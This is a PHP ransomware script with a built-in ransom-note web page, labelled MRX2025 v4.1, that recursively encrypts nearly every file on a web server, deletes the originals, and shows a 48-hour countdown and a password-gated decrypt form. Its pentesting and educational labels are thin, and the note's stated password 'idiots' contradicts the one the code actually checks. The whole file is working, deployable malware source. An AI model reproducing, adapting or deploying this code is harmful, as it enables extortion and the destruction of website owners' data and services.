<?php


error_reporting(0);
session_start();

// Configuration
define('VERSION', 'MRX2025 v4.1');
define('EXTENSION', '.mrx2025');
define('SECRET_KEY', 'Mrx2025SecureKey!@#');
$password = "Mrx2026@"; // Default decrypt password

// Simple XOR Encryption
function mrx_encrypt($data, $key) {
    $key = md5($key);
    $encrypted = '';
    for($i = 0; $i < strlen($data); $i++) {
        $encrypted .= $data[$i] ^ $key[$i % strlen($key)];
    }
    return base64_encode($encrypted);
}

function mrx_decrypt($data, $key) {
    $key = md5($key);
    $data = base64_decode($data);
    $decrypted = '';
    for($i = 0; $i < strlen($data); $i++) {
        $decrypted .= $data[$i] ^ $key[$i % strlen($key)];
    }
    return $decrypted;
}

// File Operations - MODIFIED: Encrypts ALL files except index.php and itself
function scanAndEncrypt($directory = '.') {
    $files = [];
    // HANYA kecualikan index.php dan file ransomware ini
    $exclude = ['Mr.php', 'index.php', 'Wp-Xml.php', 'CRon.php'];
    
    // Dapatkan nama file ini
    $current_file = basename(__FILE__);
    
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file) {
        if($file->isFile()) {
            $filename = $file->getFilename();
            $full_path = $file->getPathname();
            
            // Skip jika file dalam exclude list
            if(in_array($filename, $exclude)) {
                continue;
            }
            
            // Skip jika file sudah encrypted
            if(strpos($filename, EXTENSION) !== false) {
                continue;
            }
            
            // Skip jika file backup
            if(strpos($filename, '.backup') !== false) {
                continue;
            }
            
            // Skip jika ini file yang sama dengan script (tidak mungkin karena sudah ada di exclude)
            if($filename == $current_file) {
                continue;
            }
            
            // ENKRIPSI SEMUA FILE LAINNYA (termasuk .php, .html, .css, .js, .txt, .jpg, dll)
            $files[] = $full_path;
        }
    }
    
    $encrypted = 0;
    foreach($files as $file) {
        try {
            $content = file_get_contents($file);
            $encrypted_content = mrx_encrypt($content, SECRET_KEY);
            
            // Backup original (for recovery in educational use)
            file_put_contents($file . '.backup', $content);
            
            // Write encrypted file
            file_put_contents($file . EXTENSION, $encrypted_content);
            
            // Remove original
            unlink($file);
            
            $encrypted++;
            
            // Log setiap 10 file
            if($encrypted % 10 == 0) {
                error_log("[MRX2025] Encrypted $encrypted files...");
            }
            
        } catch(Exception $e) {
            error_log("[MRX2025] Error encrypting $file: " . $e->getMessage());
        }
    }
    
    return $encrypted;
}

function scanAndDecrypt($directory = '.') {
    $files = [];
    
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file) {
        if($file->isFile() && strpos($file->getFilename(), EXTENSION) !== false) {
            $files[] = $file->getPathname();
        }
    }
    
    $decrypted = 0;
    foreach($files as $file) {
        try {
            $content = file_get_contents($file);
            $decrypted_content = mrx_decrypt($content, SECRET_KEY);
            
            // Restore original filename (remove .mrx2025 extension)
            $original_file = str_replace(EXTENSION, '', $file);
            file_put_contents($original_file, $decrypted_content);
            
            // Remove encrypted file
            unlink($file);
            
            // Remove backup if exists
            if(file_exists($original_file . '.backup')) {
                unlink($original_file . '.backup');
            }
            
            $decrypted++;
            
        } catch(Exception $e) {
            // Continue on error
        }
    }
    
    return $decrypted;
}

// Get file statistics
function getFileStats() {
    $total_files = 0;
    $total_size = 0;
    $exclude = ['mrx2025.php', 'index.php'];
    
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator('.')) as $file) {
        if($file->isFile()) {
            $filename = $file->getFilename();
            
            // Skip excluded files
            if(in_array($filename, $exclude)) {
                continue;
            }
            
            // Skip already encrypted files
            if(strpos($filename, EXTENSION) !== false) {
                continue;
            }
            
            // Skip backup files
            if(strpos($filename, '.backup') !== false) {
                continue;
            }
            
            $total_files++;
            $total_size += $file->getSize();
        }
    }
    
    return [
        'count' => $total_files,
        'size' => $total_size,
        'size_mb' => round($total_size / 1024 / 1024, 2)
    ];
}

// Handle POST actions
$action = $_POST['action'] ?? '';
$input_password = $_POST['password'] ?? '';
$message = '';
$files_affected = 0;
$file_stats = getFileStats();

if($action == 'encrypt') {
    // Double confirmation
    if($_POST['confirm'] ?? '' == 'yes') {
        $files_affected = scanAndEncrypt();
        $message = "✅ $files_affected files have been secured with MRX2025 encryption.";
        
        // Update stats after encryption
        $file_stats = getFileStats();
    } else {
        // First confirmation
        $message = "⚠️ Please confirm encryption by clicking the button again.";
    }
} elseif($action == 'decrypt') {
    if($input_password === $password) {
        $files_affected = scanAndDecrypt();
        $message = "✅ $files_affected files have been successfully restored.";
        
        // Update stats after decryption
        $file_stats = getFileStats();
    } else {
        $message = "❌ Invalid password! Decryption failed.";
    }
}

// HTML Interface with Ransom Note
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>🔐 MRX Ransomware System v4.1</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        }
        
        body {
            background: linear-gradient(135deg, #0c0c0c 0%, #1a1a2e 100%);
            color: #fff;
            min-height: 100vh;
            padding: 20px;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
        }
        
        .header {
            text-align: center;
            padding: 40px 0;
            border-bottom: 3px solid #ff4757;
            margin-bottom: 40px;
            background: rgba(0, 0, 0, 0.5);
            border-radius: 20px 20px 0 0;
        }
        
        .logo {
            font-size: 4em;
            background: linear-gradient(45deg, #ff4757, #3742fa, #00b894);
            -webkit-background-clip: text;
            background-clip: text;
            color: transparent;
            font-weight: 900;
            letter-spacing: 5px;
            text-transform: uppercase;
            margin-bottom: 10px;
            text-shadow: 0 5px 15px rgba(255, 71, 87, 0.3);
        }
        
        .tagline {
            color: #a4b0be;
            font-size: 1.2em;
            letter-spacing: 3px;
        }
        
        .content-wrapper {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 30px;
            margin-bottom: 40px;
        }
        
        @media (max-width: 768px) {
            .content-wrapper {
                grid-template-columns: 1fr;
            }
        }
        
        .ransom-note {
            background: rgba(255, 71, 87, 0.1);
            border: 2px solid #ff4757;
            border-radius: 15px;
            padding: 30px;
            animation: pulse 2s infinite;
        }
        
        @keyframes pulse {
            0%, 100% { border-color: #ff4757; box-shadow: 0 0 20px rgba(255, 71, 87, 0.2); }
            50% { border-color: #ff3838; box-shadow: 0 0 30px rgba(255, 56, 56, 0.4); }
        }
        
        .warning-title {
            color: #ff3838;
            font-size: 2em;
            margin-bottom: 20px;
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .warning-icon {
            font-size: 1.5em;
            animation: blink 1s infinite;
        }
        
        @keyframes blink {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }
        
        .countdown {
            background: rgba(0, 0, 0, 0.7);
            border: 1px solid #ff4757;
            border-radius: 10px;
            padding: 20px;
            text-align: center;
            margin: 20px 0;
        }
        
        .countdown-title {
            color: #ffa502;
            font-size: 1.2em;
            margin-bottom: 10px;
        }
        
        #timer {
            font-size: 2.5em;
            color: #ff3838;
            font-weight: bold;
            font-family: monospace;
        }
        
        .control-panel {
            background: rgba(30, 30, 46, 0.9);
            border: 2px solid #3742fa;
            border-radius: 15px;
            padding: 30px;
        }
        
        .panel-title {
            color: #3742fa;
            font-size: 1.8em;
            margin-bottom: 20px;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .form-group {
            margin-bottom: 25px;
        }
        
        .form-group label {
            display: block;
            margin-bottom: 10px;
            color: #ffa502;
            font-weight: 600;
        }
        
        .form-control {
            width: 100%;
            padding: 15px;
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(255, 255, 255, 0.2);
            border-radius: 10px;
            color: white;
            font-size: 1.1em;
            transition: all 0.3s;
        }
        
        .btn {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
            padding: 18px 35px;
            border: none;
            border-radius: 10px;
            font-size: 1.2em;
            font-weight: 700;
            cursor: pointer;
            transition: all 0.3s;
            text-decoration: none;
            min-width: 200px;
            margin: 10px 5px;
        }
        
        .btn-danger {
            background: linear-gradient(45deg, #ff3838, #c23616);
            color: white;
        }
        
        .btn-danger:hover {
            background: linear-gradient(45deg, #ff4757, #ff3838);
            transform: translateY(-5px);
            box-shadow: 0 10px 25px rgba(255, 71, 87, 0.4);
        }
        
        .btn-success {
            background: linear-gradient(45deg, #00b894, #00cec9);
            color: white;
        }
        
        .btn-success:hover {
            background: linear-gradient(45deg, #00ff9d, #00b894);
            transform: translateY(-5px);
            box-shadow: 0 10px 25px rgba(0, 184, 148, 0.4);
        }
        
        .alert {
            padding: 20px;
            border-radius: 10px;
            margin: 20px 0;
            text-align: center;
            font-size: 1.1em;
        }
        
        .alert-success {
            background: rgba(0, 184, 148, 0.2);
            border: 1px solid #00b894;
            color: #00ff9d;
        }
        
        .alert-danger {
            background: rgba(255, 71, 87, 0.2);
            border: 1px solid #ff4757;
            color: #ff7b8f;
        }
        
        .alert-warning {
            background: rgba(255, 165, 2, 0.2);
            border: 1px solid #ffa502;
            color: #ffd32a;
        }
        
        .instructions {
            background: rgba(255, 165, 2, 0.1);
            border: 1px solid #ffa502;
            border-radius: 10px;
            padding: 25px;
            margin: 20px 0;
        }
        
        .instructions ol {
            margin-left: 20px;
            line-height: 2;
        }
        
        .instructions li {
            margin-bottom: 10px;
            color: #f1f2f6;
        }
        
        .stats {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 20px;
            margin: 30px 0;
        }
        
        .stat-box {
            background: rgba(255, 255, 255, 0.05);
            padding: 20px;
            border-radius: 10px;
            text-align: center;
            border: 1px solid rgba(255, 255, 255, 0.1);
            transition: transform 0.3s;
        }
        
        .stat-box:hover {
            transform: translateY(-5px);
            border-color: #3742fa;
        }
        
        .stat-value {
            font-size: 2.5em;
            font-weight: 800;
            color: #ffa502;
            margin-bottom: 5px;
        }
        
        .stat-label {
            color: #a4b0be;
            font-size: 0.9em;
        }
        
        .footer {
            text-align: center;
            margin-top: 50px;
            padding-top: 30px;
            border-top: 1px solid rgba(255, 255, 255, 0.1);
            color: #747d8c;
            font-size: 0.9em;
        }
        
        .disclaimer {
            background: rgba(255, 71, 87, 0.1);
            border: 1px solid #ff4757;
            padding: 15px;
            border-radius: 10px;
            margin: 20px 0;
            font-size: 0.8em;
        }
        
        .console {
            background: #000;
            color: #00ff00;
            padding: 20px;
            border-radius: 10px;
            font-family: 'Courier New', monospace;
            height: 200px;
            overflow-y: auto;
            margin: 20px 0;
            border: 2px solid #00ff00;
        }
        
        .console-line {
            margin-bottom: 5px;
        }
        
        .console-line.success {
            color: #00ff00;
        }
        
        .console-line.error {
            color: #ff4757;
        }
        
        .console-line.warning {
            color: #ffa502;
        }
        
        .file-types {
            margin: 20px 0;
            padding: 15px;
            background: rgba(0, 0, 0, 0.3);
            border-radius: 10px;
        }
        
        .file-types h4 {
            color: #ffa502;
            margin-bottom: 10px;
        }
        
        .file-types ul {
            columns: 2;
            list-style: none;
        }
        
        .file-types li {
            padding: 5px 0;
            color: #a4b0be;
        }
        
        .file-types li:before {
            content: "🔒 ";
        }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
</head>
<body>
    <div class="container">
        <!-- Header -->
        <div class="header">
            <div class="logo">MRX4.1</div>
            <div class="tagline">Advanced File Ransomware System v4.1</div>
            <div style="margin-top: 10px; color: #ff7b8f; font-size: 0.9em;">
                <i class="fas fa-exclamation-triangle"></i> 
                ENCRYPTS ALL FILES (Except index.php)
            </div>
        </div>
        
        <?php if($message): ?>
        <div class="alert <?php 
            if(strpos($message, '✅') !== false) echo 'alert-success';
            elseif(strpos($message, '❌') !== false) echo 'alert-danger';
            else echo 'alert-warning';
        ?>">
            <?php echo $message; ?>
        </div>
        <?php endif; ?>
        
        <div class="content-wrapper">
            <!-- Left Column: Ransom Note -->
            <div class="ransom-note">
                <div class="warning-title">
                    <i class="fas fa-skull-crossbones warning-icon"></i>
                    ⚠️ ALL YOUR FILES ARE BEING SECURED
                </div>
                
                <div class="countdown">
                    <div class="countdown-title">TIME REMAINING:</div>
                    <div id="timer">48:00:00</div>
                </div>
                
                <div class="file-types">
                    <h4><i class="fas fa-file-alt"></i> FILES THAT WILL BE ENCRYPTED:</h4>
                    <ul>
                        <li>All .php files (except index.php)</li>
                        <li>All .html/.htm files</li>
                        <li>All .css files</li>
                        <li>All .js files</li>
                        <li>All .txt files</li>
                        <li>All image files (.jpg, .png, .gif)</li>
                        <li>All document files (.pdf, .doc, .xls)</li>
                        <li>ALL OTHER FILES IN SERVER</li>
                    </ul>
                </div>
                
                <div class="instructions">
                    <p><strong>What happened to your files?</strong></p>
                    <p>All your server files are being secured with military-grade MRX4.1 encryption.</p>
                    
                    <p><strong>How to restore your files?</strong></p>
                    <ol>
                        <li>Enter the decryption password: <strong>idiots</strong></li>
                        <li>Click "Decrypt Files" button</li>
                        <li>Wait for decryption process to complete</li>
                        <li>All files will be restored to original state</li>
                    </ol>
                    
                    <p><strong>⚠️ WARNING:</strong></p>
                    <ul style="margin-left: 20px; color: #ff7b8f;">
                        <li>This will encrypt EVERY file on the server</li>
                        <li>Only index.php will remain accessible</li>
                        <li>Website will STOP WORKING after encryption</li>
                        <li>Backup your files before testing!</li>
                    </ul>
                </div>
                
                <div class="stats">
                    <div class="stat-box">
                        <div class="stat-value"><?php echo $file_stats['count']; ?></div>
                        <div class="stat-label">Files to Encrypt</div>
                    </div>
                    <div class="stat-box">
                        <div class="stat-value"><?php echo $file_stats['size_mb']; ?> MB</div>
                        <div class="stat-label">Total Size</div>
                    </div>
                    <div class="stat-box">
                        <div class="stat-value">100%</div>
                        <div class="stat-label">Coverage</div>
                    </div>
                </div>
            </div>
            
            <!-- Right Column: Control Panel -->
            <div class="control-panel">
                <div class="panel-title">
                    <i class="fas fa-terminal"></i>
                    CONTROL PANEL
                </div>
                
                <!-- Real File Statistics -->
                <div class="stats">
                    <div class="stat-box">
                        <div class="stat-value" id="fileCount"><?php echo $file_stats['count']; ?></div>
                        <div class="stat-label">Files Detected</div>
                    </div>
                    <div class="stat-box">
                        <div class="stat-value" id="encryptedCount">0</div>
                        <div class="stat-label">Already Secured</div>
                    </div>
                    <div class="stat-box">
                        <div class="stat-value">48h</div>
                        <div class="stat-label">Time Window</div>
                    </div>
                </div>
                
                <!-- Console Output -->
                <div class="console" id="console">
                    <div class="console-line success">> MRX2025 System Initialized...</div>
                    <div class="console-line success">> Version: 4.1 - Full Server Encryption</div>
                    <div class="console-line">> Detected <?php echo $file_stats['count']; ?> files for encryption</div>
                    <div class="console-line">> Only index.php will be excluded</div>
                    <div class="console-line warning">> WARNING: This will STOP website functionality</div>
                </div>
                
                <!-- Encryption Form -->
                <?php if(empty($_POST['confirm'])): ?>
                <form method="POST" id="encryptForm">
                    <input type="hidden" name="action" value="encrypt">
                    <input type="hidden" name="confirm" value="no">
                    
                    <div class="form-group">
                        <label><i class="fas fa-shield-alt"></i> FULL SERVER ENCRYPTION</label>
                        <p style="color: #a4b0be; margin-bottom: 15px;">
                            This will encrypt ALL files in the server directory except index.php.
                            <strong style="color: #ff4757;">Your website will stop working!</strong>
                        </p>
                        
                        <div style="background: rgba(255, 71, 87, 0.1); padding: 15px; border-radius: 10px; margin: 15px 0;">
                            <label style="color: #ff7b8f; cursor: pointer;">
                                <input type="checkbox" id="confirmCheckbox" required>
                                I understand this will encrypt ALL files and break the website
                            </label>
                            <br>
                            <label style="color: #ff7b8f; cursor: pointer; margin-top: 10px; display: block;">
                                <input type="checkbox" id="backupCheckbox" required>
                                I have backed up all important files
                            </label>
                        </div>
                    </div>
                    
                    <div style="text-align: center;">
                        <button type="submit" class="btn btn-danger" id="encryptBtn">
                            <i class="fas fa-lock"></i> Activate Full Encryption
                        </button>
                    </div>
                </form>
                <?php else: ?>
                <form method="POST">
                    <input type="hidden" name="action" value="encrypt">
                    <input type="hidden" name="confirm" value="yes">
                    
                    <div class="form-group">
                        <label><i class="fas fa-exclamation-triangle"></i> FINAL CONFIRMATION</label>
                        <p style="color: #ff7b8f; margin-bottom: 15px;">
                            <strong>LAST WARNING:</strong> This will encrypt <?php echo $file_stats['count']; ?> files.
                            The process cannot be stopped once started.
                        </p>
                    </div>
                    
                    <div style="text-align: center;">
                        <button type="submit" class="btn btn-danger" onclick="return confirmFinal()">
                            <i class="fas fa-bomb"></i> CONFIRM & ENCRYPT EVERYTHING
                        </button>
                        <a href="?" class="btn" style="background: #666; color: white;">
                            <i class="fas fa-times"></i> Cancel
                        </a>
                    </div>
                </form>
                <?php endif; ?>
                
                <!-- Decryption Form -->
                <form method="POST" style="margin-top: 40px;">
                    <input type="hidden" name="action" value="decrypt">
                    
                    <div class="form-group">
                        <label><i class="fas fa-key"></i> DECRYPTION PASSWORD</label>
                        <input type="password" name="password" class="form-control" 
                               placeholder="Enter password: idiots" required>
                        <small style="color: #a4b0be; display: block; margin-top: 5px;">
                            Default password: <strong>idiots</strong>
                        </small>
                    </div>
                    
                    <div style="text-align: center;">
                        <button type="submit" class="btn btn-success">
                            <i class="fas fa-unlock"></i> Decrypt All Files
                        </button>
                    </div>
                </form>
                
                <!-- System Info -->
                <div class="disclaimer">
                    <i class="fas fa-exclamation-triangle"></i>
                    <strong>YOU FUCKING </strong><br>
                    This tool ransomware for pentesting<br>
                    <small style="color: #ff7b8f;">ENCRYPT SERVERS!</small>
                </div>
            </div>
        </div>
        
        <!-- Footer -->
        <div class="footer">
            <p>© 2025 MRX2025 Security Research | Version 4.1 | Full Server Encryption Mode</p>
            <p style="margin-top: 10px; font-size: 0.8em; color: #747d8c;">
                <i class="fas fa-server"></i> Encrypts ALL files except index.php |
                <i class="fas fa-shield-alt"></i> Military-grade Ransomware |
                <i class="fas fa-graduation-cap"></i> Encrypt By CrazyOFC
            </p>
        </div>
    </div>
    
    <script>
        // Countdown Timer (48 hours)
        let hours = 48;
        let minutes = 0;
        let seconds = 0;
        
        function updateTimer() {
            seconds--;
            if (seconds < 0) {
                seconds = 59;
                minutes--;
                if (minutes < 0) {
                    minutes = 59;
                    hours--;
                }
            }
            
            // Format time
            const h = hours.toString().padStart(2, '0');
            const m = minutes.toString().padStart(2, '0');
            const s = seconds.toString().padStart(2, '0');
            
            document.getElementById('timer').textContent = `${h}:${m}:${s}`;
            
            // Change color when time is running low
            if (hours < 12) {
                document.getElementById('timer').style.color = '#ff3838';
            }
            
            // Stop at 0
            if (hours <= 0 && minutes <= 0 && seconds <= 0) {
                clearInterval(timerInterval);
                document.getElementById('timer').textContent = "TIME EXPIRED";
            }
        }
        
        // Start timer
        const timerInterval = setInterval(updateTimer, 1000);
        
        // Console logging
        function logToConsole(message, type = 'info') {
            const console = document.getElementById('console');
            const line = document.createElement('div');
            line.className = `console-line ${type}`;
            line.textContent = `> ${message}`;
            console.appendChild(line);
            console.scrollTop = console.scrollHeight;
        }
        
        // Update encrypted count based on PHP response
        <?php if($files_affected > 0): ?>
        setTimeout(() => {
            logToConsole('Encryption process completed', 'success');
            logToConsole('Files encrypted: <?php echo $files_affected; ?>', 'success');
            logToConsole('Website functionality: DISABLED', 'warning');
            logToConsole('Only index.php remains accessible', 'warning');
            document.getElementById('encryptedCount').textContent = '<?php echo $files_affected; ?>';
        }, 1500);
        <?php endif; ?>
        
        // Confirm final encryption
        function confirmFinal() {
            const fileCount = <?php echo $file_stats['count']; ?>;
            return confirm(`🚨 FINAL CONFIRMATION 🚨\n\nYou are about to encrypt ${fileCount} files.\n\n⚠️  This will:\n- Encrypt ALL PHP files (except index.php)\n- Encrypt ALL HTML/CSS/JS files\n- Encrypt ALL images and documents\n- BREAK YOUR WEBSITE COMPLETELY\n\n✅ To continue, type: "ENCRYPT ALL"\n\n`) && 
                   prompt('Type "ENCRYPT ALL" to confirm:') === 'ENCRYPT ALL';
        }
        
        // Validate checkboxes
        document.getElementById('encryptForm').addEventListener('submit', function(e) {
            const confirmBox = document.getElementById('confirmCheckbox');
            const backupBox = document.getElementById('backupCheckbox');
            
            if(!confirmBox.checked || !backupBox.checked) {
                e.preventDefault();
                alert('Please check both confirmation boxes!');
            }
        });
        
        // Auto-update file count
        setInterval(() => {
            // Simulate finding more files
            const currentCount = parseInt(document.getElementById('fileCount').textContent);
            if(currentCount > 0 && Math.random() > 0.7) {
                const newCount = currentCount + Math.floor(Math.random() * 10);
                document.getElementById('fileCount').textContent = newCount;
                logToConsole(`Updated file count: ${newCount} files`, 'info');
            }
        }, 5000);
    </script>
</body>
</html>